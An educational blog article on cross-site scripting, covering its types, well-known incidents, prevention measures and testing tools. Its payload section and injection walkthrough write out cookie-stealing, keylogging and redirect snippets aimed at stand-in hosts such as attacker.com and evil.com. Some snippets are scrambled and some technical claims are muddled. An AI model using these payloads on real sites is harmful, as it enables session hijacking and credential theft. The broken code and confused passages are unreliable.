Skip to main content

Cross-Site Scripting (XSS): Examples and Types of Attacks

Published on:
.
23 min read
.
For German Version

Cross-site scripting attacks (XSS) are web application and web server exploits that exploit a weakness in the server or application code. Cross-site scripting attacks are especially risky as it is hard for development or security teams to identify an XSS vulnerability, and it is impossible to see the consequences of an attack until the breach has already occurred. In the OWASP Top 10, XSS is the second most prevalent issue, appearing in nearly two-thirds of all apps. XSS has a serious effect on remote code execution on the victim's browser, such as stealing credentials or delivering malware to him/her. To prevent XSS attacks, your team has to understand their features and whether your systems are vulnerable.

A malicious script can be sent to an unwary user by an attacker via XSS. The browser of the end user will run the script as it has no means of knowing that it shouldn't be trusted. The malicious script can access any cookies, session tokens, or other private data stored by the browser and used with that website, since it believes the script originated from a reliable source. Even the HTML page's content can be changed by these scripts.

We'll go over the definition of cross-site scripting, its many forms, actual instances of XSS attacks, and more in this part.

  • What is Cross Site Scripting?
  • How does Cross-Site Scripting (XSS) work?
  • What are real-world examples of XSS attacks?
  • What are the different types of XSS?
  • How does Stored XSS work?
  • How does Reflected XSS occur?
  • What is DOM-based XSS?
  • What are common XSS payloads?
  • How do attackers inject malicious scripts in an XSS attack?
  • Can XSS be used to steal user data or hijack sessions?
  • How do attackers exploit input fields, search bars, and URLs for XSS?
  • What role does JavaScript play in executing XSS attacks?
  • What are the best practices for input validation and sanitization?
  • How can developers prevent XSS vulnerabilities in web applications?
  • How does output encoding prevent XSS attacks?
  • What is Content Security Policy (CSP)?
  • How do Web Application Firewalls (WAFs) help prevent XSS?
  • How do security headers like X-XSS-Protection improve defense against XSS?
  • How can organizations detect and test for XSS vulnerabilities?
  • What are the best penetration testing tools for XSS detection?
  • How do automated scanners and security testing frameworks detect XSS?
  • What is the role of bug bounty programs in identifying XSS?
  • How does XSS compare to other vulnerabilities?
  • How does XSS relate to Cross-Site Request Forgery (CSRF)?
  • Can XSS be used in phishing and social engineering attacks?

What is Cross-Site Scripting?

Cross-Site Scripting (XSS) attacks are injection attacks in which malicious scripts are inserted into otherwise trustworthy and innocent websites. When an attacker uses a web application to send malicious code to a different end-user, generally in the form of a browser-side script, this is known as an XSS attack.

Cross-site scripting is one of the most prevalent internet attack vectors. XSS is even listed as one of the top 10 dangers among the most important security hazards for online applications by the respected Open Web Application Security Project (OWASP). Cross-site scripting allows attackers to insert harmful script code into otherwise reliable and innocuous websites. Attackers can access portions of the session or even take over the login process entirely when a user views such a website and logs in using their login credentials. The degree of privilege the browser grants the impacted web application determines how serious the attack is. Attackers may even be able to access local data in the worst scenario, when they are granted wide access permissions to the user's machine. Via XSS, the compromised system may potentially be completely taken over. Other forms of attacks that rely on XSS include "website defacement" and phishing. In the latter case, attackers post content on a website with the intent to defame it without the site operator's knowledge.

How does Cross-Site Scripting (XSS) work?

The way cross-site scripting operates is by altering a weak website so that users are presented with malicious JavaScript. An attack known as cross-site scripting happens when a threat actor inserts malicious code, or script, into the page code of an web application. This usually occurs on dynamic websites that are subject to regular changes or that users may actively alter (e.g., a search bar where users can input searches).

The website's original code is reliable. Usually, a user's browser loads the webpage as directed when they navigate to it. However, the web page may not load as planned if a threat actor has introduced additional code, and neither the user nor the browser will be aware of this. The purpose of the new malicious code is to steal information from that online application, such as passwords or cookies.

Because cross-site scripting attacks are difficult to identify, they are harmful. Security teams won't be able to identify the vulnerability in the code unless they are familiar with the programming language used to create the page. You will often need to use application scanning tools to find indications of an XSS attack. Employees may miss it if they have to perform too much manual labor to find one, particularly if they don't speak the language.

The type of XSS attack that affects your web application might be stored, reflected, or document-object-model (DOM) based. Credential theft and harm to a company's reputation are only two of the many security and commercial dangers associated with XSS attacks. You should test your web apps, keep an eye out for obvious indications of an attack, and utilize software solutions to check your code and apps for vulnerabilities to find out whether you're at risk.

What are real-world examples of XSS attacks?

Real-world examples show how damaging cross-site scripting (XSS) attacks can be to unwary users and website administrators, making them a constant danger to web applications. These are a few well-known examples of XSS assaults, along with their methods and outcomes. We may have a greater knowledge of the significance of XSS vulnerability mitigation and web application security maintenance by comprehending these instances.

  • "Samy" Worm on MySpace (2005): One of the most well-known XSS attacks was carried out by security researcher Samy Kamkar, who built a worm that propagated throughout the well-known social networking site MySpace. When other users saw his profile, Kamkar added them as friends and promoted it by inserting JavaScript code into it.

    In just a few hours, the "Samy" worm infected over a million profiles, causing significant disruption and sluggish site performance. To fix the problem, MySpace had to stop down for a while.

  • Worm on Twitter (2009): A hacker developed a worm that took advantage of the "onmouseover" event of links by exploiting a cached XSS vulnerability in Twitter. The worm propagated by retweeting itself when visitors hovered over these links.

    The worm embarrassed the social media site and impacted a large number of Twitter users. Twitter was forced to fix the issue right away.

  • Google's Blogspot: XSS (2015): An XSS vulnerability in Google's Blogspot service was discovered by a security researcher. By inserting malicious code into the comments area of Blogspot-hosted websites, attackers might cause arbitrary JavaScript code to run. This flaw hurt Blogspot's reputation by enabling hackers to vandalize webpages and perhaps steal user information. Google fixed the problem quickly.

  • eBay (2016): There was a serious XSS vulnerability on eBay in late 2015 and early 2016. Although the value of the "url" parameter was not verified, the website exploited it to lead readers to various platform sites. Attackers were able to insert malicious code onto a website as a result.

    Attackers were able to offer goods at a discount, obtain complete access to eBay seller accounts, and steal payment information thanks to the vulnerability. Attackers actively utilized it to tamper with eBay listings for expensive goods like cars. The vulnerability was finally fixed by eBay, although further assaults persisted until 2017.

  • Yahoo's XSS (2017): A persistent XSS vulnerability impacted Yahoo's well-known email service. Malicious emails using JavaScript that would run in the recipient's email client when they were opened may be sent by attackers.

    Yahoo email subscribers were at risk of having their accounts hacked and their personal data made public due to this vulnerability. Yahoo fixed the problem, but not before bad actors had taken advantage of it.

  • British Airways (2018): A well-known hacker organization renowned for credit card skimming attacks, Magecart, attacked British Airways in 2018. An XSS vulnerability in the Feedify JavaScript library, which was used on the British Airways website, was exploited by the team.

    The script was altered by the attackers to send client information to a malicious server with a domain name that was similar to British Airways. Users thought they were buying from a safe server since the phony service had an SSL certificate. Prior to the hack being identified, they were able to successfully skim 380,000 booking transactions using credit cards.

  • Fortnite (2019): An XSS vulnerability affecting more than 200 million players was discovered in the well-known online game in 2019. Fortnite developers failed to identify a retired, unprotected website. Due to an XSS vulnerability on the website, attackers were able to access all Fortnite users' data without authorization.

    Attackers might have redirected users to a phony login page by combining XSS with an unsafe single sign-on (SSO) vulnerability. This would enable them to capture player interactions for potential future assaults and take virtual cash within the game. It's unclear if attackers took advantage of the vulnerability in the period after Check Point identified the threat and alerted Fortnite.

  • Uber's 2019 P3 XSS Vulnerability: Uber's website has an XSS vulnerability that was found by a security researcher. An attacker may create a link that, if an Uber driver clicked it, would reveal their account information and permit illegal activity.

    Uber drivers' personal information was seriously at risk due to this vulnerability. Uber acted quickly to resolve the problem and improve its security protocols.

  • WhatsApp Web (2020): An XSS vulnerability in WhatsApp's web client was discovered by a security researcher. Malicious code might be included in a carefully constructed message sent by the attacker. The code would run when the receiver viewed the message in the web client.

    An XSS vulnerability in WhatsApp's web client was discovered by a security researcher. Malicious code might be included in a carefully constructed message sent by the attacker. The code would run when the receiver viewed the message in the web client. Because of this flaw, hackers could have been able to access user data and perhaps take over their accounts. WhatsApp fixed the problem to keep its users safe.

What are the different types of XSS?

XSS attacks can be divided into five categories.

  1. Stored (Persistent) XSS: When an application gets data from an untrusted source and incorporates that data in an unsafe way inside its subsequent HTTP answers, this is known as persistent cross-site scripting (also known as second-order or stored XSS ).

    Attackers inject malicious scripts into susceptible websites and store them on the server for later use. Users that view web pages receive the payload, which is processed in their context. As a result, the payload can be executed without the victims having to click on a malicious link (as in the case of Non-Persistent XSS). All they have to do is go to a susceptible web page.

  2. Reflected XSS: The most basic sort of cross-site scripting vulnerability is non-persistent XSS, also known as reflected XSS, in which a web application reflects and runs JavaScript from unvalidated user inputs.

    Cross-site scripting (or XSS) occurs when an application gets data in an HTTP request and incorporates that data unsafely within the immediate response.

    Reflected XSS commonly targets search results and error message sites. They frequently send unaltered user input as part of the response without appropriately escaping the data so that it can be safely shown in the browser.

    Assume a web site's search feature accepts a user-supplied search phrase as a URL parameter:

    https://nonsecure---site.com/search?term=computer

    In the answer to this URL, the application echoes the specified search term:

    <p>You searched for: computer</p>

    An attacker can design an attack like this if the program doesn't perform any further data processing:

    https://nonsecure---site.com/search?term=<script>/*You+have+been+hacked+by.....*/</script>

    This URL results in the following response:

    <p>You searched for: <script>/* You+have+been+hacked+by..... */</script></p>

    If some other application user visits the attacker's URL, the script given by the attacker will run in the target user's browser, in the context of their session with the program.

  3. DOM-Based XSS: The Document Object Model is a programming interface that allows developers to access and edit documents (web pages) by executing operations. As a result, this interface specifies the structure of documents by linking the scripting language to the real webpage.

    DOM-based XSS, also known as Type-0 XSS, is an XSS attack that executes the payload via modifying the DOM in the victim's browser. Without the user's knowledge or consent, the client executes code.

  4. Mutated XSS (mXSS): Mario Heiderich (Cybersecurity Researcher) identified a new kind of XSS vector, the mutation-based XSS (mXSS) vector. This mXSS might be found in innerHTML. This issue affects popular browsers such as Internet Explorer, Firefox, and Chrome.

    The mXSS is an XSS vector that has been modified from a safe to a dangerous unfiltered condition. The assumption shared by both server-side and client-side XSS filters is that their HTML output and the browser-rendered HTML content are almost similar. The most prevalent type of mXSS is caused by erroneous innerHTML reading. The browser alters the user-supplied content such that a seemingly innocent string passes virtually all XSS filters and is eventually turned into an active XSS attack vector.

  5. Self-XSS: Self-cross-site scripting (XSS) is a vulnerability in web applications that allows the same user to execute JS but not other users. Self-XSS is a type of social engineering attack. In the Self-XSS attack method, the attacked user executes the malicious code himself, thinking that it serves another purpose. Web accounts can be compromised with the Self-XSS attack method. Facebook accounts come first.

How does Stored XSS work?

Stored XSS (persistent XSS) is the most harmful kind of XSS flaw. An attacker uses cached XSS to insert a malicious payload, typically JavaScript code, into the target application. The target software, such as a database, keeps this harmful code around for a long time if input validation is absent. For example, a malicious script might be inserted by an attacker into a user input area, such as the blog or forum post comment section.

When the victim visits the infected webpage in a browser, the XSS attack payload is sent to their browser as HTML code (just like a genuine comment would). This implies that after seeing the website in their browser, victims will ultimately run the malicious script.

An attack known as stored cross-site scripting occurs when a malicious script stores user input on the target server. A stored XSS attack runs on the user's browser as opposed to a reflected XSS attack, which runs on the server. Then, using contemporary HTML5 apps, which usually make use of HTML databases, attackers install malicious scripts on the browser for good.

Every time a user visits the compromised website, the script is saved and run on the server in a stored XSS attack. An attacker can easily target several victims, and the effects are long-lasting. Untrained users who attempt to extract data from the program without taking any sanitization or validation procedures may likewise be subject to stored XSS attacks.

The easiest approach to stop stored cross-site scripting (XSS) attacks is to clean up user data and handle inputs properly. The greatest defense against stored XSS attacks is to employ suitable parameter binding.

For instance, a threat actor can steal financial information each time a user visits a page where they enter it if they install a malicious script on the web server of a financial services organization. The malicious code impacts every instance of the web application's use since it is written in the web server. Because the code on the financial services website appears to be authentic, users continue to use it until it is discovered that it is malicious.

How does Reflected XSS occur?

The second and most common type of XSS is called reflected XSS, or non-persistent XSS. In this instance, the request submitted to the web server must contain the attacker's payload. The payload from the HTTP request is then included in the HTTP response when it has been reflected back. To trick the victim into submitting a request to the server, attackers employ phishing emails, malicious URLs, and other social engineering strategies. The replicated XSS payload is then launched by the user's browser.

Reflected XSS attacks usually target search engine result pages or error messages since it's simple to send a malicious email with a link that a lot of people will click. The malicious script is sent to the server when the user clicks the link, and because it is not saved, the server replies by providing the user with a code. When user inputs aren't adequately validated and sanitized, or when data is unsafely duplicated from a request, there's a risk of reflected XSS vulnerabilities.

A threat actor intercepting a software engineer's request parameters to get access to a well-known engineering program is an example of reflected cross-site scripting (XSS) in action. Subtly altering the URL, the threat actor directs the user to a vulnerable website rather than the one they were expecting. The threat actor can then take a number of steps to undermine the engineer's efforts, such as stealing the data they entered on the website.

What is DOM-based XSS?

Advanced XSS attacks include DOM-based XSS. DOM-based XSS is feasible if the client-side scripts of the web application publish user-provided data to the Document Object Model (DOM). The web application then reads the data from the DOM and outputs it to the browser. An attacker can inject a payload if the data is handled incorrectly. This payload will be saved as part of the DOM and run when the data is read back from the DOM.

By reading and altering HTML and XML documents, the DOM interface makes it possible to interpret and manipulate the contents of web pages. Malicious modifications to the victim's browser's DOM context are introduced via DOM-based XSS attacks, which result in unexpected client-side code execution.

In contrast to reflected and stored XSS attacks, DOM-based XSS attacks do not store or send the malicious script to the server. The only weakness in this assault is the victim's browser. DOM-based vulnerabilities are rare, complex, and difficult to fix since they are harder to comprehend than other types. Furthermore, they are difficult for web application firewalls and automated vulnerability scanners to detect.

In a DOM-based XSS attack, which is often a client-side attack, the malicious payload is never sent to the server. Web application firewalls (WAFs) and security engineers who look at server logs will have a much tougher time detecting the attack since they will never even see it. The most often changed DOM elements are the referrer (document.referrer), the anchor part of the URL (location.hash), and the URL itself (document.URL).

An attacker might alter a web application's client-side code, for instance, if they grab fragments of a URL and insert them into a JavaScript function that permits dynamic code execution. The client-facing code of customer relationship management (CRM) software will be altered if the attacker decides to alter the main page, but the page's real HTTP response won't. The URL fragments might be used by the threat actor to initiate an attack.

What are Common XSS Payloads?

One kind of web security flaw, called cross-site scripting (XSS), enables an attacker to insert malicious code into a website that other users are viewing. Web security is being threatened by XSS attacks, which may have major repercussions for individuals and companies alike.

The injected code, also known as the payload, may be used to either carry out operations on behalf of the user, like leaving comments or making purchases, or it can be used to steal private data from the user, such as cookies or login credentials. XSS payloads can range from straightforward scripts that display a pop-up message to more complex attacks that steal private information or seize control of a user's browser.

XSS attacks come in two primary varieties: reflected and stored. The payload in a stored cross-site scripting attack is saved on the target website indefinitely and is run each time a user visits the compromised page. In a mirrored XSS attack, the payload is sent to the target website as a request, and it is executed when the user gets the answer.

The following is a list of typical XSS payloads along with a synopsis of each.

  1. Alert Box: A straightforward payload that shows the user a pop-up message. This may be used to test for XSS vulnerabilities or as a proof of concept for more intricate attacks.

    <script>alert("XSS")</script> is an example of code.

  2. Cookie Theft: A payload that transfers the user's cookie to the server of an attacker. This can be used to steal private data from cookies or take over a user's session. To combat this, security protections are included in every contemporary browser.

    An example of code is given below.

    New Image().src="https://attacker.com/cookie.php?cookie="+document.cookie

  3. Keystroke Logging: A payload that captures the user's keystrokes and sends them to the attacker's site. Passwords and credit card numbers are examples of sensitive data that may be stolen using this method. To combat this, security protections are included into every contemporary browser.

    An example of code is given below.

    "https://attacker.com/keylog.php?k=" + e.keyCode; `
    <script>document.onkeypress = function(e) { new Image().src =</script>
  4. Redirection: A payload that takes the visitor to a different website, frequently a phishing site or one that the attacker controls.

    <script>window.location.href="https://evil.com"</script> is an example of code.

  5. Form Hijacking: A payload that modifies and intercepts form data prior to submission. This can be used to change a web page's content or steal private information.

    An example of code is given below.

    <script>document.forms[0] | function() onsubmit Value="hacked";} {document.forms[0].elements[0].</script>

How do attackers inject malicious scripts in an XSS attack?

XSS operates by taking advantage of a flaw in a website that causes it to return malicious JavaScript code when a user visits it. By running malicious code in the user's browser, the attacker might jeopardize how the victim interacts with the website.

An XSS attack typically consists of two phases. The first is a technique they employ to insert malicious code, sometimes referred to as a payload, onto the victim's web page. This is only feasible if user input is directly permitted on the target website's pages. In such a case, when the visitor visits the client site, the malicious code is injected into the page by the attacker and is interpreted as source code.

The second step involves the victim going to the targeted website where the payload has been injected. In order to do this, attackers frequently employ phishing attacks or social engineering strategies to direct victims to the infected website.

XSS is frequently used by criminals to steal cookies. They might then pretend to be the victim. There are several ways for the attacker to deliver the cookie to their own server. One of these involves running the client-side script listed below on the victim's web browser.

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
  1. By submitting a form that is susceptible and contains malicious JavaScript code, the attacker inserts a payload into the website's database.
  2. The victim asks the web server for the webpage.
  3. The attacker's payload is included in the HTML body of the page that the web server sends to the victim's browser.
  4. The victim's browser executes the malicious script found in the HTML body. In this instance, the attacker's server receives the victim's cookie.
  5. When the HTTP request reaches the server, the attacker only needs to get the victim's cookie.
  6. The victim's stolen cookie can now be used by the attacker to impersonate the victim.

Can XSS be used to steal user data or hijack sessions?

Yes An attacker can take control of user sessions, steal private data like login passwords, or even change the content of websites to deceive users into divulging personal information if they are successful in exploiting an XSS vulnerability. For example, XSS may be used to display phishing attack forms, install malware on a user's device, or reroute users to harmful websites.

The 2024 data breach, which was planned by the cyber collective "ResumeLooters," is a perfect illustration of this. The organization stole the personal data of over 2 million job seekers by breaking into over 65 job-listing and retail websites using both SQL injection and XSS vulnerabilities. By inserting malicious JavaScript onto trustworthy websites, the attackers were able to collect phone numbers, email addresses, names, and other information.

The 2019 Fortnite hack is another well-known XSS exploitation attack. In one case, hackers targeted more than 200 million people by exploiting a decommissioned website that had an XSS vulnerability. Hackers were able to intercept player discussions and take in-game money thanks to the vulnerability.

How do attackers exploit input fields, search bars, and URLs for XSS?

When a web application analyzes unvalidated user input and instantly reflects it in an HTTP response, often as part of an HTTP request, reflected cross-site scripting (XSS) takes place. Attackers create malicious URLs with JavaScript payloads to take advantage of this vulnerability. These payloads run when an unwary user interacts with them. The XSS attack is more difficult to detect but still quite successful since it occurs in real time and isn't saved on the server.

Search bars, error messages, form inputs, and anything else that dynamically receives and displays user input are frequently the targets of these XSS attacks. In order to fool users into activating the exploit, attackers frequently distribute malicious links via phishing emails or hijacked websites.

What role does JavaScript play in executing XSS attacks?

JavaScript typically has restricted access to users' files or operating systems and is frequently utilized in highly regulated contexts on the majority of web browsers. Because of this, it's often believed that other injection attacks, such as Structured Query Language (SQL) injection, which is a popular method that may wipe out databases, pose a greater threat than XSS vulnerabilities. However, JavaScript may be dangerously exploited by attackers in harmful material. Among the examples are

  • Any item that a web page has access to, including cookies and session tokens, may be accessed by JavaScript. An attacker can pose as a user, carry out actions while posing as them, and access their private information by acquiring a session cookie.

  • Only the page that JavaScript is executing on has the ability to read and alter the Document Object Model (DOM) of a browser.

  • To connect with a server, JavaScript's XMLHttpRequest object is used to submit Hypertext Transfer Protocol (HTTP) requests.

  • HTML5 application programming interfaces (APIs) are accessible to JavaScript. This implies that it has access to a user's webcam, microphone, files, and geolocation.

Therefore, if an attacker can utilize an XSS vulnerability on a web page to run arbitrary JavaScript in a user's browser, the security of that vulnerable website or web application, as well as its users, has been compromised.

Cybercriminals can utilize JavaScript vulnerabilities to develop sophisticated assaults, including phishing, Trojan horses, keylogging, cookie theft, and identity theft, by combining this knowledge with social engineering tactics. As a result, XSS assaults can serve as the starting point for larger, more complex intrusions.

What are the best practices for input validation and sanitization?

Any programming method that enables efficient enforcement of syntactic and semantic correctness can be used to accomplish input validation. Take into account the following basic practices to safeguard your application.

  • Verify input on several levels: Put validation into practice on both the client and server ends.
  • Use output encoding: By presenting special characters as their literal equivalents, encoding output helps stop XSS attacks.
  • Make use of prepared statements and parameterized queries: Use prepared statements and parameterized queries in database interactions to avoid SQL injection.
  • Frequent code reviews and security testing: To find vulnerabilities, do in-depth code reviews and security assessments.
  • Think about input validation libraries: Make use of pre-existing libraries to streamline the sanitization and validation procedures.
  • Keep abreast of security flaws: To put the right countermeasures in place, stay up to date on the most recent threats and vulnerabilities.

How can developers prevent XSS vulnerabilities in web applications?

To stop XSS attacks, developers must correctly filter or escape special characters from user input before encoding the output to stop reflected and stored XSS assaults. To keep the following special characters from being maliciously abused, they should always be filtered out or escaped: <, >, ", ', ), (, ;, /, #, &.

To avoid DOM-based XSS attacks, developers should encrypt the output (sinks) and verify user input (sources). To take advantage of the XSS vulnerability, the attacker can insert malicious code into the input source property, which is where the DOM reads from.

While there are several XSS attack routes, adhering to a few basic guidelines will entirely protect against this dangerous attack.

  • RULE #0: Only insert Untrusted Data in Allowed Locations.

  • RULE #1: Encode Untrusted Data Before Inserting It Into HTML Element Content

  • RULE #2: Encode Untrusted Data Before Inserting It Into HTML Common Attributes

  • RULE #3: Before inserting untrusted data into JavaScript data values, use JavaScript Encode.

  • RULE #4: Before inserting untrusted data into HTML Style Property Values, CSS Encode and Strictly Validate.

  • RULE #5: Before Inserting Untrusted Data into HTML URL Parameter Values, Encode the URL.

  • RULE #6: Sanitize HTML Markup using a Job-Specific Library

  • RULE #7: Avoid using JavaScript URLs.

  • RULE #8: Prevent DOM-based XSS.

How do I Prevent XSS in Java?

JSPs (Java Server Pages ) are loaded with danger. HTML escaping in JSP templates necessitates escaping all data rendered on the page. Worse, scriptlets may be used to incorporate business logic into JSPs. This is easy to overlook or abuse, and it can lead to XSS vulnerabilities. The safest choice should be the default:

  • Consider utilizing an escape-by-default view or template engines, such as JSF or Velocity. If you are unable to transition to another framework, utilize a custom EL resolver that applies to escape by default in JSPs, such as Oracle ELresolver otherwise, all data MUST be escaped.

  • Scriptlets should not be used.

  • Check your project for these conditions:

    semgrep --config p/minusworld.java-httpservlet-jsp-xss

How does output encoding prevent XSS attacks?

Although output encoding is a crucial defense against cross-site scripting (XSS) attacks, it should be used in conjunction with other security measures and best practices to improve user and web application protection. Effective defenses against XSS attacks include HTTP security headers, Content Security Policy (CSP), and input validation. To make sure user-supplied or untrusted data complies with the required format, type, length, and range, input validation verifies and filters it. CSP enables web applications to define guidelines and standards for the kinds of material and sources that may be loaded and used on the page. Additional security information and instructions, such as XSS protection, stringent transport security, frame choices, or referrer policies, are sent to the browser using HTTP security headers.

Because it prevents the browser from interpreting user-supplied or untrusted data as part of the web page code, output encoding is actually essential. For instance, the browser will run the script and generate an alert if a user types `` in a comment box, and the app shows it without encoding. More serious problems like cookie theft, session hijacking, or redirection might result from this straightforward mirrored XSS attack. By transforming special characters into innocuous HTML entities, output encoding makes sure the browser interprets the data as plain text, thwarting these kinds of assaults.

What is Content Security Policy (CSP)?

CSP is a security feature in browsers that reduces XSS and other attacks. It functions by limiting the resources (such as graphics and scripts) that a page may load and limiting whether other pages can frame a page.

A response must have an HTTP response header named Content-Security-Policy with a value specifying the policy in order to enable CSP. One or more directives, separated by semicolons, make up the policy itself.

In actuality, the Content Security Policy (CSP) function aids in preventing or reducing the likelihood of certain security risks. It is made up of a set of instructions sent from a website to a browser, telling the browser to limit the capabilities of the code that makes up the page.

CSP is primarily used to control which resources, especially JavaScript resources, a page is allowed to load. The primary purpose of this is to protect the victim's website against cross-site scripting (XSS) attacks, which allow an attacker to insert harmful code.

Other uses for a CSP include protecting against clickjacking and assisting in making sure that a website loads its pages over HTTPS.

How do Web Application Firewalls (WAFs) help prevent XSS?

By filtering, monitoring, and preventing malicious web traffic and application-layer attacks like DDoS, SQL injection, cookie manipulation, cross-site scripting (XSS), cross-site forgery, and file inclusion, a web application firewall (WAF) safeguards web applications and APIs.

WAFs target web application-to-internet traffic as a Layer 7 defense. They give organizations (and their clients) crucial protection by identifying and reacting to fraudulent requests before web servers and apps accept them.

Thus, one of the most important lines of security against XSS assaults is a web application firewall (WAF). By monitoring and filtering HTTP traffic between web applications and the Internet, a WAF acts as a reverse-proxy server placed in front of those apps, protecting them. WAF rules may be set up by businesses to scan URLs for malicious scripts and stop them from reflecting to users. By spotting variants on known threats and detecting efforts to circumvent rules, machine learning-enabled WAF solutions provide even more robust security.

How do security headers like X-XSS-Protection improve defense against XSS?

The Protection of X-XSS Once often used by web browsers, the HTTP header is a security feature that guards against XSS attacks. This header tells the browser to do certain things, such as cleaning the page (removing dangerous bits) or blocking the page completely to stop the malicious script from running, when it detects a possible XSS attack on a webpage.

Enabling the X-XSS-Protection HTTP header can still offer some degree of XSS protection to users on outdated browsers, which makes it pertinent when discussing cross-compatibility and accommodating a wide variety of website visitors.

The difficulties in setting up the X-XSS-Protection HTTP header, which offers users on outdated browsers an essential degree of security without sacrificing security best practices.

Although it has been deprecated and replaced by the Content-Security-Policy (CSP) header, the X-XSS-Protection HTTP header is still a useful security feature for users of older browsers.

How can organizations detect and test for XSS vulnerabilities?

Finding and fixing XSS vulnerabilities in a web application can be challenging. Finding errors is best accomplished by doing a security assessment of the code and looking for any potential entry points into the HTML output from an HTTP request. Keep in mind that malicious JavaScript can be sent via a wide range of HTML elements. Although they can just look at a website's surface, Nessus, Nikto, and other tools can assist in scanning it for these issues. It is quite probable that further issues will arise if one aspect of a website is compromised.

We explain how to detect XSS in web apps and what you can do to avoid it.

Manually Code Auditing and Run Tests

The goal of code review is to detect security problems in programs as well as the fundamental causes. It entails evaluating an application's source code to guarantee that it is self-defending in its specific context. "If code has not been reviewed for security holes, the likelihood that the application has problems is virtually 100%," according to OWASP.

The manual procedures listed below can be used to discover typical XSS vulnerabilities:

  • Find the code that produces user input.

  • Verify that the output is encoded.

  • Determine the code that handles URLs.

  • Your codes should be unit tested.

  • Perform basic checks on your application.

Automated Application Testing

To test and detect XSS vulnerabilities in online applications, standard security testing methodologies and tools may be used. Some of the most common testing methodologies are as follows:

  • Static Application Security Testing (SAST): When an application is not operating, SAST is used to protect it by evaluating the source code to find vulnerabilities or evidence of known unsafe practices.
  • DAST (Dynamic Application Security Testing): DAST tools interact with apps to uncover possible security flaws via the front-end. DAST tools do not have access to source code; instead, they conduct attacks to find vulnerabilities using the black-box technique.
  • IAST (Interactive Application Security Testing): IAST combines the greatest features of SAST and DAST. It examines code for XSS and other security flaws when the app is being used by any activity that interacts with the application functionality.

You may easily test and identify XSS vulnerabilities in your web apps using the approaches mentioned above. Web vulnerability scanners like Netsparker, Acunetix, Veracode, Checkmarx, and others are sophisticated tools that can crawl your whole website or application and check for XSS and other security issues automatically.

What are the best penetration testing tools for XSS detection?

Cross-Site Scripting (XSS) is a prevalent vulnerability in web applications that can be effectively detected by penetration testing tools. The following are some of the most effective tools for identifying XSS vulnerabilities:

  1. Burp Suite: Burp Suite is a widely used tool for web application security testing. It is equipped with features that are specifically intended to detect and exploit XSS vulnerabilities.

    Key Features:

    • Burp Scanner: Automated scanning for XSS vulnerabilities.
    • Intruder: Custom payloads for the purpose of testing XSS.
    • Repeater: Manual testing for XSS injection.
    • Extensions: Utilizing add-ons such as "Turbo Intruder" and "ActiveScan++" can improve the detection of XSS.

    Edition: Professional (paid) and Community (free).

  2. OWASP ZAP (Zed Attack Proxy): An open-source web application security scanner that is maintained by OWASP. It is both effective and user-friendly for the detection of XSS.

    Key Features:

    • Automated scanning for DOM-based, stored, and reflected XSS.
    • Manual testing instruments, including the Fuzzer and Breakpoints.
    • Passive monitoring for XSS in HTTP responses.

    Edition: Open-source and free.

  3. Acunetix: A commercial web vulnerability scanner that is highly effective in identifying a variety of vulnerabilities, such as XSS.

    Key Features:

    • Automated detection of XSS that is reflected, stored, or depending on the document's domain.
    • Advanced crawling capabilities to detect concealed assault surfaces.
    • Continuous testing integration with CI/CD pipelines.

    Edition: Paid.

  4. Netsparker: A commercial web application security analyzer that is renowned for its precision in identifying vulnerabilities, such as XSS.

    Key Features:

    • Proof-based scanning to verify XSS vulnerabilities.
    • The automated identification of all XSS variants.
    • Integration with DevSecOps workflows.

    Edition: Paid.

  5. W3af: An open-source web application vulnerability scanner and exploitation tool.

    Key Features:

    • Detection of XSS vulnerabilities through automated means.
    • Payloads that can be customized for sophisticated testing.
    • Integration with other tools, such as Metasploit.

    Edition: Open-source and free.

  6. XSSer: A specialized instrument for the detection and exploitation of XSS vulnerabilities.

    Key Features:

    • Supports a variety of XSS injection techniques, including DOM-based, stored, and reflected.
    • Automated payload generation and testing.
    • Integration with proxy utilities such as Burp Suite.

    Edition: Open-source and free.

  7. SQLMap: SQLMap is predominantly a SQL injection tool; however, it also provides some support for testing XSS vulnerabilities.

    Key Features:

    • Payloads that can be customized for XSS testing.
    • Capabilities for automated scanning.

    Edition: Open-source and free.

  8. Nuclei: A robust vulnerability scanning application that utilizes customizable templates.

    Key Features:

    • Templates that have been pre-built to identify XSS vulnerabilities.
    • Scanning at a high pace for large-scale applications.
    • Simple integration with CI/CD pipelines.

    Edition: Open-source and free.

  9. XSStrike: A tool that is specifically designed to detect and exploit XSS.

    Key Features:

    • Fuzzing for XSS that is reflected, stored, or has a DOM-based origin.
    • Context analysis to produce payloads that are unique to the application.
    • Automated payload generation and testing.

    Edition: Open-source and free.

  10. Astra Pentest: A cloud-based penetration testing platform that incorporates XSS detection.

    Key Features:

    • Manual and automated XSS testing.
    • Comprehensive vulnerability reports that include remediation recommendations.
    • Consistent monitoring for XSS vulnerabilities.

    Edition: Paid.

  11. Google's XSS Auditor (Deprecated): It was previously integrated into Chrome and was employed to identify XSS during testing. Although it has been deprecated, its principles remain beneficial for testing.

  12. Manual Testing with Browser Developer Tools: Although not a tool, manual testing using browser developer tools (such as Chrome DevTools) is crucial for the identification of intricate XSS vulnerabilities.

    Key Features:

    • Browser-based payload testing in real time.
    • DOM inspection to identify vulnerable locations.
    • Testing for extreme cases and bypasses.

What is the role of bug bounty programs in identifying XSS?

For a number of reasons, bug bounty programs are particularly good at finding XSS vulnerabilities. The following are the main methods that these applications can help find and address XSS vulnerabilities:

  • Crowdsourced Knowledge: A vast network of independent security researchers, ethical hackers, and cybersecurity specialists with a variety of expertise is made available through bug bounty programs. These researchers frequently have knowledge of different testing procedures, security vulnerabilities, and attack routes. Organizations can find XSS vulnerabilities that internal development or security teams might miss by utilizing the community's collective knowledge.

    Having several experienced testers with varying viewpoints improves the chance of finding XSS vulnerabilities, which can be complicated and vary significantly depending on the application. Furthermore, seasoned bug bounty hunters are frequently knowledgeable on a range of attack strategies, including payloads and evasion tactics, which might aid in locating even the most difficult-to-find XSS vulnerabilities.

  • Practical Experiments: The ability of bug bounty systems to mimic actual attacks is one of their primary advantages. In order to exploit vulnerabilities, security researchers who take part in these programs frequently employ the same instruments, strategies, and procedures as attackers. As a result, XSS vulnerabilities may be evaluated in dynamic, realistic circumstances that mirror how malevolent actors would try to attack them in the real world.

  • Finding Non-Obvious Vulnerabilities and Edge Cases: XSS flaws can occasionally be subtle, particularly in intricate online applications. Developers may fail to consider all potential input vectors or ignore certain edge circumstances. However, bug bounty researchers are adept at spotting these edge instances and non-traditional attack surfaces that would have gone unnoticed during routine testing.

